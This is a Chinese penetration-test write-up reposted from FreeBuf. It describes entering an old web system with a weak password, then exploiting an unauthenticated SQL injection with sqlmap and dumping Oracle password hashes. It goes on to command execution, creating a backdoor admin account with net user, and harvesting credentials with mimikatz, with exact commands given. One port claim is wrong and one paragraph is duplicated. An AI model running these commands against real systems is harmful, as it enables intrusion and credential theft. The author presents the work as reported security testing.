一
前言
这是个人认为近期比较有价值的一次渗透测试,分享给大家。
主要分为4个步骤:弱口令进入系统;后台sql注入;getshell,远程RDP管理员登录;扩大战果,证明危害。
二
弱口令
在一次针对某站点信息收集的过程中,通过子域名扫描,扫描到某个老旧系统。
一看这都2014年的老站了,肯定有搞头!
日常使用burp爆破一波试试,没爆破出来
但是随手一试,好家伙123/123进入系统,属于是运气拉满了
(高强度打码)
这里能看到是一个“编辑”人员的权限,并没有什么上传等后台管理的功能,只能耐心过一遍系统的各种功能。
三
SQL注入
进入系统翻一翻,没有什么敏感信息泄露,但是在一处查询人员信息的接口发现了SQL注入(xray被动扫描扫出来的)
http://host.com/xxx/control/SearchMenHunInfo?content=123
这时想要手工验证一下,发现甚至不需要后台cookie就能直接访问该接口,相当于还存在未授权访问漏洞。
那这sqlmap一把梭,--cookie参数都不用加了
python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db
这里跑出了库名,还能看到这是一个Oracle数据库。打算继续拿shell试试。
但是在我日常渗透过程中,Oracle数据库并不常见,sqlmap中--os-shell参数还是不支持Oracle数据库的,只能现学现卖一波。
四
Getshell
在一次针对某站点信息收集的过程中,通过子域名扫描,扫描到某个老旧系统
首先参考了这篇文章 Oracle注入 - 命令执行&Shell反弹
文章中介绍到以下版本的Oracle在发现注入后可以命令执行
那么再用sqlmap查看一下Oracle版本
python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b
看来是符合可以命令执行的版本的!
又经历了一波漫长的学习,发现了github一个大佬已经集成好的工具 oracleShell oracle 数据库命令执行
工具截图如下
可以看出,我们还需要知道数据库的SID,用户名,密码,就可以尝试执行命令。
那么就继续利用sqlmap来扩大我们已知信息。
查看数据库权限--is-dba
查看数据库IP,SID
这里进入sqlmap的--sql-shell模式,用sql语句来查询
查询SID:select instance_name from v$instance
查询当前IP:select sys_context('userenv','ip_address') from dual
爆破所有数据库账号、密码
使用sqlmap的--passwords参数,跑出数据库的所用用户名和对应的密码
经过漫长的等待,终于有了结果(这里给出的是虚构的数据)
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] HR [1]:
password hash: 6399F3B38EDF3288
[*] SYS [1]:
password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
password hash: 8877FF8306EF558B
clear-text password: SYS
可以看到有些用户名只得到了对应的哈希,但是其中一个用户名system成功跑出了明文密码!
查询Oracle常用端口
Oracle确实不熟悉,百度查一波端口:
查询发现,服务端默认的端口号一般是389,客户端默认的端口号一般都是1521
OK!现在已经拥有了IP,PORT,SID,用户名(SYSTEM),密码(SYS),可以直接使用工具连接了。
一切顺利!取得了system权限!
五
进一步利用
创建个用户试试
net user name pwd /add
net localgroup Administrators name /add
远程桌面RDP连接 name/pwd
连接成功!
上传一个mimikatz,抓取管理员明文密码
privilege::debug
sekurlsa::logonPasswords
最终成功登录Administrator账号RDP
至此,渗透结束。
六
总结
弱口令->sql注入->getshell->拿下管理员权限
从一个常见的弱口令,到拿下管理员权限,这个过程需要运气和耐心,把这次经历拿出来分享一下。
在强调一下本次漏洞详情均已提交,渗透需规范!
七
参考链接
文章作者:网络安全情报攻防站(Freebuf-Jerrytqq )
原文链接:https://www.freebuf.com/articles/web/284911.html
五
往期回顾
对一个非法站点的渗透
记一次在演习中攻防角色反复横跳
攻防演习主场作战是什么样的体验?(社工+近源)